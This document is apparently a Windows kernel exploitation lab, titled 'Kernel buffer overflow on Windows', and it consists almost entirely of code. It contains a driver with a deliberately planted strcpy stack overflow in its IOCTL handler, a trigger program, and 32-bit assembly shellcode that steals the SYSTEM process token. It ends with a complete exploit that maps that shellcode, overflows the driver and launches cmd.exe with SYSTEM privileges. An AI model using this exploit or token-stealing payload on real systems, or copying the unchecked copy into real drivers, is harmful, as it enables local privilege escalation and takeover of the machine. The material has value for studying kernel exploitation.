Kernel buffer overflow on Windows

#include <Ntifs.h>

#define ERROR(_f_, _status_) DbgPrint("\r\n[!] Error at %s() : 0x%x\r\n", _f_, _status_)
#define IOCTL_HI CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DbgPrint(...) DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0x1337, __VA_ARGS__)

typedef unsigned int DWORD;
typedef unsigned char* PBYTE;
typedef unsigned char BYTE;

//
DRIVER_UNLOAD Unload;
DRIVER_INITIALIZE DriverEntry;
DRIVER_DISPATCH handleIOCTLs;
DRIVER_DISPATCH handleIRP;
//

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj , PUNICODE_STRING pRegistryPath)
{
    DWORD i = 0;
    NTSTATUS status;
    UNICODE_STRING deviceName = {0}, symlinkName = {0};
    PDEVICE_OBJECT pDevice = NULL;

    pDriverObj->DriverUnload = Unload;
    DbgPrint("[ Loading.. ]\r\n");

    RtlInitUnicodeString(&deviceName, L"\\Device\\1");
    RtlInitUnicodeString(&symlinkName, L"\\DosDevices\\1");

    DbgPrint("[ Creating the device...]\n");
    IoCreateDevice(
        pDriverObj,
        0,
        &deviceName,
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &pDevice
    );

    DbgPrint("[ Linking...]\n");
    IoCreateSymbolicLink(&symlinkName, &deviceName);

    for(; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
        pDriverObj->MajorFunction[i] = handleIRP;

    pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTLs;
    return STATUS_SUCCESS;
}

NTSTATUS handleIRP(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
    return STATUS_SUCCESS;
}

NTSTATUS handleIOCTLs(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    PIO_STACK_LOCATION pIoStackLocation = NULL;
    ULONG ioControlCode = 0, inputBufferLength = 0, inputBuffer = 0;
    BYTE buffer[256] = {0};

    pIoStackLocation = IoGetCurrentIrpStackLocation(pIrp);
    ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
    inputBufferLength = pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength;
    inputBuffer = (ULONG)pIrp->AssociatedIrp.SystemBuffer;

    switch(ioControlCode)
    {
        case IOCTL_HI:
        {
            DbgPrint("[ Let's copying this buffer...]");

            /* ! w00tz ! */
            strcpy(buffer, inputBuffer);
            break;
        }
    }

    IoCompleteRequest(pIrp, IO_NO_INCREMENT);
    return pIrp->IoStatus.Status;
}

VOID Unload(PDRIVER_OBJECT pDrivObj)
{
    DbgPrint("[ Unloading.. ]\n");
    return;
}

#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define IOCTL_HI CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DEVICE_NAME "\\\\.\\1"

int main()
{
    DWORD byte = 0, lenMagik = 0, addr = 0;
    HANDLE hDevice = NULL;
    UCHAR magik[1024] = {0};

    memset(magik, 0x90, 276); // Padding
    lenMagik += 276;
    memcpy(magik+276, "\x42\x42\x42\x42\x00", 5); // Shellcode address?
    lenMagik += 5;

    hDevice = CreateFile(DEVICE_NAME, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Error with Createfile : %.8x.\n", GetLastError());
        return EXIT_FAILURE;
    }

    DeviceIoControl(hDevice, IOCTL_HI, magik, lenMagik, NULL, 0, &byte, NULL);
    CloseHandle(hDevice);

    return EXIT_SUCCESS;
}

format PE GUI 4.0

start:

;--------------------------------
; 			Stack
;--------------------------------
; ESP-8: EPROCESS+0x088 system
;--------------------------------
; ESP-4: EPROCESS+0x088 exploit
;--------------------------------
push 0xFFFFFFFF
push 0xFFFFFFFF

mov edx, [fs:0x124]     ; +0x120 PrcbData : _KPRCB | +0x004 CurrentThread : _KTHREAD			
mov edx, [edx + 0x44]   ; +0x034 ApcState : _KAPC_STATE | +0x010 Process : _KPROCESS
add edx, 0x88           ; +0x088 ActiveProcessLinks : _LIST_ENTRY
mov ebx, edx            ; Our linked list \o/ We save the first structure

searchProcess:
mov eax, [edx - 0x4]    ; +0x084 UniqueProcessId
cmp eax, 0x4            ; SYSTEM PID
je sysProcFound
cmp eax, 0x41414141     ; Our exploit PID
je exploitProcFound

nextProcess:
mov edx, [edx]          ; Next process (Flink)
cmp edx, ebx            ; We are back at the starting point
je retApp				
jmp searchProcess       ; We loop!

sysProcFound:
mov [esp+4], edx
jmp allPIDFound

exploitProcFound:
mov [esp], edx

allPIDFound:
cmp [esp], dword 0xFFFFFFFF
je nextProcess
cmp [esp+4], dword 0xFFFFFFFF
je nextProcess

; We copy the SYSTEM token
pop edi                 ; Exploit
pop esi	                ; System
mov eax, [esi + 0x40]   ; 0xC8 - 0x88 = 0x40 | +0x0c8 Token : _EX_FAST_REF
mov [edi + 0x40], eax

retApp:
xor eax, eax
mov al, 0x3B            ; FS address in userland
mov fs, ax
mov ecx, 0x42424242     ; Stack address
mov edx, 0x43434343     ; Address of our function in our process
sysexit

#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define IOCTL_HI CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DEVICE_NAME "\\\\.\\1"

BYTE shellcode[] =  "\x6A\xFF\x6A\xFF\x64\x8B\x15\x24\x01\x00\x00\x8B\x52\x44\x81\xC2\x88\x00\x00\x00\x89\xD3\x8B"
                    "\x42\xFC\x83\xF8\x04\x74\x0F\x3D\x41\x41\x41\x41\x74\x0E\x8B\x12\x39\xDA\x74\x26\xEB\xE9\x89"
                    "\x54\x24\x04\xEB\x03\x89\x14\x24\x81\x3C\x24\xFF\xFF\xFF\xFF\x74\xE6\x81\x7C\x24\x04\xFF\xFF"
                    "\xFF\xFF\x74\xDC\x5F\x5E\x8B\x46\x40\x89\x47\x40\x31\xC0\xB0\x3B\x8E\xE0\xB9\x42\x42\x42\x42"
                    "\xBA\x43\x43\x43\x43\x0F\x35";
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};  


void replacePattern(char buffer[], int bufferSize, DWORD pattern, DWORD value) {
    BOOL found = FALSE;
    int i;

    for (i = 0; i < bufferSize; i++) {
        if (*(PDWORD)(buffer + i) == pattern) {
            found = TRUE;
            *(PDWORD)(buffer + i) = value;
        }
    }

    return found;
}

// Code to execute with SYSTEM's right
//
void sysCode() {
    si.cb = sizeof(si);

    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
}

int findStack() {
    DWORD stack;

    __asm mov stack, esp

    return stack;
}

int main() {
    DWORD byte = 0, lenMagik = 0, addr = 0;
    HANDLE hDevice = NULL;
    UCHAR magik[1024] = {0};

    addr = VirtualAlloc(0x01010101, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(addr == 0) {
        printf("Error with VirtualProtect : %.8x", GetLastError());
        return EXIT_FAILURE;
    }

    replacePattern(shellcode, sizeof(shellcode), 0x41414141, GetCurrentProcessId());    // Process PID
    replacePattern(shellcode, sizeof(shellcode), 0x42424242, findStack());              // Stack address
    replacePattern(shellcode, sizeof(shellcode), 0x43434343, sysCode);                  // Code to execute with SYSTEM's right
    memcpy(0x01010101, shellcode, sizeof(shellcode));

    memset(magik, 0x90, 276);                       // Padding
    lenMagik += 276;
    memcpy(magik+276, "\x01\x01\x01\x01\x00", 5);   // Shellcode address
    lenMagik += 5;

    hDevice = CreateFile(DEVICE_NAME, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Error with Createfile : %.8x.\n", GetLastError());
        return EXIT_FAILURE;
    }

    DeviceIoControl(hDevice, IOCTL_HI, magik, lenMagik, NULL, 0, &byte, NULL);
    CloseHandle(hDevice);

    return EXIT_SUCCESS;
}